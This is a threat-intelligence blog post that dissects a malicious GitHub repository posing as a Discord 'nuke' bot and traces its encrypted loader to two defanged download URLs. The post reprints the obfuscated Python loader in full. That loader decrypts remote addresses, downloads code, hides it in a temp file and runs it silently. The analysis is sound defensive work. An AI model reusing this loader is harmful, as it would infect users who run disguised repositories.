Post

Unveiling Hidden Dangers on GitHub: Malicious Python Scripts Sending Your Data to Hackers

In this blog post, we delve into the hidden dangers lurking within GitHub repositories. We uncover how malicious Python scripts can be disguised in seemingly harmless code, only to send your sensitive information to remote command and control servers once executed

Unveiling Hidden Dangers on GitHub: Malicious Python Scripts Sending Your Data to Hackers

Intro

I was minding my own business, just sitting in a crypto and trading Discord channel, when I saw someone drop a GitHub repo link to their profile. Surprised to see someone in that group using a Python script to mine, trade, or do whatever they do with Python (even though trading bots are easily made with Python—but are they profitable? Who knows), I clicked on the on their profile.

At first glance, I saw nothing unusual, except for two things that caught my eye (drums…). As a Cyber Threat Intelligence Researcher, my spider-sense started to tingle. Let’s dive a bit deeper, shall we?

Disclaimer

I noticed people mentioning that they had launched the scripts that are in that account. Whether it was the same person using multiple accounts or others genuinely running it, I wasn’t sure. If they did run it, well, that’s unfortunate for them.

First glance.

First Glance The first thing that caught my eye was a repo called “Discord-Nuke-Bot-Stable-Version”.

Questions:

  • Why would you name a repo like that?
  • What’s the purpose of “nuking” a Discord channel?
  • Is this infostealer? (foreshadowing)

To answer the first question, it’s easy to say that if someone wants to spam a Discord channel, they might search for something like this and land on this repo. To answer the second question, well, I don’t know. To answer the third question, let’s check the code itself.

Let’s check the code

Okay.. and what we have here in main.py ? Amazing Code 10/10

Okay, okay… I’m not the best Python developer or engineer or whatever you guys call yourselves—but let’s break down the code for simple people:

Code installs modules in silience

1
2
3
subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL);
subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL);
subprocess.run(['pip', 'install', 'requests'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL);

Basically code installs cryptography, fernet, and requests libraries using pip. Why I’m saying it’s malicious? Well.. these libraries are being installed silently without user constent, and it could be part of malicious payload and initial setup up of it (foreshadowing)

Loads Decryption Payload

1
2
3
from fernet import Fernet;
import requests;
exec(Fernet(b'qMQ9By0xS9aF5IiNtG4neJTkGsJhNSYj3qNHWGt4MFE=').decrypt(b'...'));

It uses a hardcoded Fernet encryption key to decrypt an encrypted payload, and the decrypted payload is then executed using exec().

Well (No. 2)… Decrypting and executing code on the fly is a common technique used by APTs (Advanced Persistent Threats), threat actors, hackers, and malware/information stealers. Basically, it hides the actual payload until runtime.

The payload could contain malicious functionality (foreshadowing) probably an infostealer (again foreshadowing), a backdoor, or code for downloading another infostealer or malware.

From what we already see, this code could potentially have malicious intent, and here’s why:

  • Obfuscation techniques involved.. The main payload is hidden in the encrypted string (b’..’). By using encryption, this code (or author) tries to evade detection from antivirus software.
  • Execution after decryption.. To make it clearer, exec() allows the execution of arbitrary Python code, which enables total control over the system, potentially providing capabilities like:
    • Data exfiltration (foreshadowing No. 3)
    • File manipulations
    • Additional malware downloads or persistence mechanisms

Obfuscate or not to Obfuscate, that’s the question

Okay let’s crack this obfuscation.

It’s simple Python script to crack it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from cryptography.fernet import Fernet

key = b'{key}'
cipher = Fernet(key)

encrypted_message = b'{Message}

try:
    decrypted_message = cipher.decrypt(encrypted_message).decode()

    with open("output.txt", "w") as file:
        file.write(decrypted_message)
    print("Decrypted message has been written to output.txt")
except Exception as e:
    print(f"Decryption failed: {e}")

And look what we have here:

1
2
3
4
5
6
7
8
9
10
exec("""import base64;d=lambda p,l:''.join(chr(ord(c)-ord(l[i%len(l)]))for i,c in enumerate(base64.b64decode(p).decode('utf-8')));ps="vibe.process-byunknown";import os;import sys;import urllib.request;import tempfile;import uuid;import ctypes;import subprocess;urls=['w57DncOWw5XCocKqwqHCnsOWw5LDlMOlwqXDlsOew5jDlsKZw6HDo8Omw6DDm8KYw5bDisKRw6jCosKewpbCqcOFw6LCj8ORw63DnsORwprDksOhw6bDnMOb','w57DncOWw5XCocKqwqHCnsOVw5HDnMOgW8OFw6jDosKdw5vDoMOUw5vCm8K8wrbDkcOYwqHCn8Okw5DDmg=='];response=None;dt=None
def st(f):FH=0x02;FS=0x04;ctypes.windll.kernel32.SetFileAttributesW(f,FH|FS)
for url in urls:
    try:d_9=d(url,ps);response=urllib.request.urlopen(d_9);dt=response.read().decode('utf-8');break
    except Exception:None
if dt is None:None
else:
    d_0=d(dt,ps);tmp=tempfile.gettempdir();rg=str(uuid.uuid4());fp=os.path.join(tmp,f'{rg}.py')
    with open(fp,'w',encoding='utf-8') as f:f.write(d_0);st(fp)
    subprocess.Popen([sys.executable,fp],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW)""")

As you can see we have URLs, let’s decode them with this.. well easy Python script as well:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64

encoded_strings = [
    '{URLs encoded}',
    '{URLs encoded}'
]

for encoded in encoded_strings:
    try:
        decoded_bytes = base64.b64decode(encoded)
        decoded_str = decoded_bytes.decode('utf-8', errors='ignore') 
        print(f"Decoded string: {decoded_str}")
    except Exception as e:
        print(f"Failed to decode: {e}")

Alright.. it’ decoded like this:

1
2
Decoded string: ÞÝÖÕ¡ª¡ÖÒÔå¥ÖÞØÖáãæàÛÖÊ袩ÅâÑíÞÑÒáæÜÛ
Decoded string: ÞÝÖÕ¡ª¡ÕÑÜà[ÅèâÛàÔÛ¼¶ÑØ¡äÐÚ

Okay new approach let’s fine tune script a bit with custom decoding function d which was used in "vibe.process-byunknown"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64

def custom_decode(encoded_str, key):
    decoded_bytes = base64.b64decode(encoded_str)
    decoded_str = ''.join(
        chr(ord(char) - ord(key[i % len(key)])) for i, char in enumerate(decoded_bytes.decode('utf-8', errors='ignore'))
    )
    return decoded_str

key = "vibe.process-byunknown"
encoded_strings = [
    '{URLs encoded}',
    '{URLs encoded}'
]

for encoded in encoded_strings:
    try:
        decoded = custom_decode(encoded, key)
        print(f"Custom decoded string: {decoded}")
    except Exception as e:
        print(f"Failed to decode: {e}")

And what we have here

1
2
Custom decoded string: hxxps://smarxtech[.]store/tecx0/3DRobotic/drone
Custom decoded string: hxxps://rlim[.]com/pred-FMoss/raw

Let’s triage a bit, and find out if these URLs / Domains are being marked as Malicious by VirusTotal or somewhere else.

First URL is being already marked as Malware, which is nice. First URL

Second URL is not being marked as Malware, which is not nice (hurrah, zero day malware URL / Domain, great succes, thanks to my mom, father and so on.. drops mic) Second URL

Let’s check URLs what they have

Let’s go to first URL

1
hxxps://smarxtech[.]store/tecx0/3DRobotic/drone

Okay what I see.. encrypted things again. First URL

Let’s decrypt everything, maybe something fun is there

1
# Если вы зашли так далеко, вам предстоит долгий путь.nd", _p], capture_output=True, text=True, check=True, creationflags=subprocess.CREATE_NO_WINDOW)""

Well on my Linkedin I was foreshadowing .ru domains, but well..

Translation:

1
If you've come this far, you've got a long way to go

Yells (GOD DAMN IT YOU) Person behind this is probably blocking Website interactions :(

Let’s go to second URL

1
hxxps://rlim[.]com/pred-FMoss/raw

Okay what we can see there.. encrypted things again Second URL

Let’s decrypt everything, maybe something fun is there

1
# Если вы зашли так далеко, вам предстоит долгий путь.nd", _p], capture_output=True, text=True, check=True, creationflags=subprocess.CREATE_NO_WINDOW)""

Well on my Linkedin I was foreshadowing .ru domains, but well..

Translation:

1
If you've come this far, you've got a long way to go

Yells second time (GOD DAMN IT YOU)

Okay okay.. I see what you did there.

Well… it is what it is.

I tried various approaches, but could not access anything further.

However, based on the gathered information, it is clear that this is a 100% malicious GitHub account likely spreading potential infostealers. I have seen similar scenarios numerous times, and when conducting research (aka my free time), they often led to Python scripts that exfiltrated data (crypto wallets, email accounts etc).

In addition, I conducted some OSINT digging using the string exec(Fernet(b'qMQ9By0xS9aF5IiNtG4neJTkGsJhNSYj3qNHWGt4MFE=') and found over 120 GitHub repositories with same string, different repository names, different accounts.

By extending the search to include just exec(Fernet(b', I discovered approximately 1k GitHub repositories in a single day (yesterday, today I’m too lazy to search once again). This scale of malicious activity is alarming.. especially if you are developer.. or just random person on Discord, who’s just chatting with people.. and some one drops you repo where you can make dinero with crypto.

Conclusion

Be cautious about what you download, clone, or execute.

(easier said than done)

This post is licensed under CC BY 4.0 by the author.